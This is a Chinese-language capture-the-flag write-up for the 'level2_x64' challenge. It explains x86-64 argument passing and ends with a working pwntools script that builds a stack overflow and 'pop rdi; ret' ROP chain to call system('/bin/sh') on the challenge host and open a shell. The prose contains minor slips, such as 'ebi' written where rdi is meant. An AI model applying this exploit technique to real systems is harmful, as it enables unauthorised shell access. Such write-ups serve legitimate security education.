checksec查看一下保护的情况
好的,只开启了NX,其余的都没有开启。进入ida,shift+F12发现了“bin/sh”字符串,想到要从这部分入手了。
主要程序反汇编后和level一样,栈溢出很容易找到溢出点。
关键点在于32位和64位传递参数的时候是不同的,32位是所有的参数都入栈,而64位是从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9这6个寄存器当中,从第7个参数开始后的所有参数才会通过栈传递。
也就是说,在32位程序中运行时,调用函数栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->......->参数1
而在64程序中运行时,参数的传递是需要ebi寄存器的,前6个参数按顺序存储在6个寄存器当中,如果函数的参数超过6个,就和32位一样进行压栈。
system我们只需要一个参数,所以这个题目的关键就在于'bin/sh'字符串的地址要放到rdi当中去,所以我们要找到rdi的地址。
那我们就要用到一个小工具,ropgadget来找到我们需要的rop链。
ropgadget可以在汇编语言里面搜索我们需要的字符串或者命令。
好的!我们发现了pop rdi ;ret!
即为将栈顶元素弹出并存入寄存器rdi,ret返回栈,所以我们就可以利用它将函数参数传入寄存器。
脚本如下。
from pwn import *
p = remote('pwn2.jarvisoj.com','9882')
elf = ELF('./level2_x64')
sh_addr = elf.search('/bin/sh').next()
print p64(sh_addr)
#sh_addr = 0x0000000000600A90
system_addr = elf.symbols['system']
print p64(system_addr)
junk = 'a' * 0x88
rop_addr = 0x4006b3
#ROPgadget --binary level2_x64 --only 'pop|ret '
payload = junk + p64(rop_addr) + p64(sh_addr) + p64(system_addr)
p.send(payload)
p.interactive()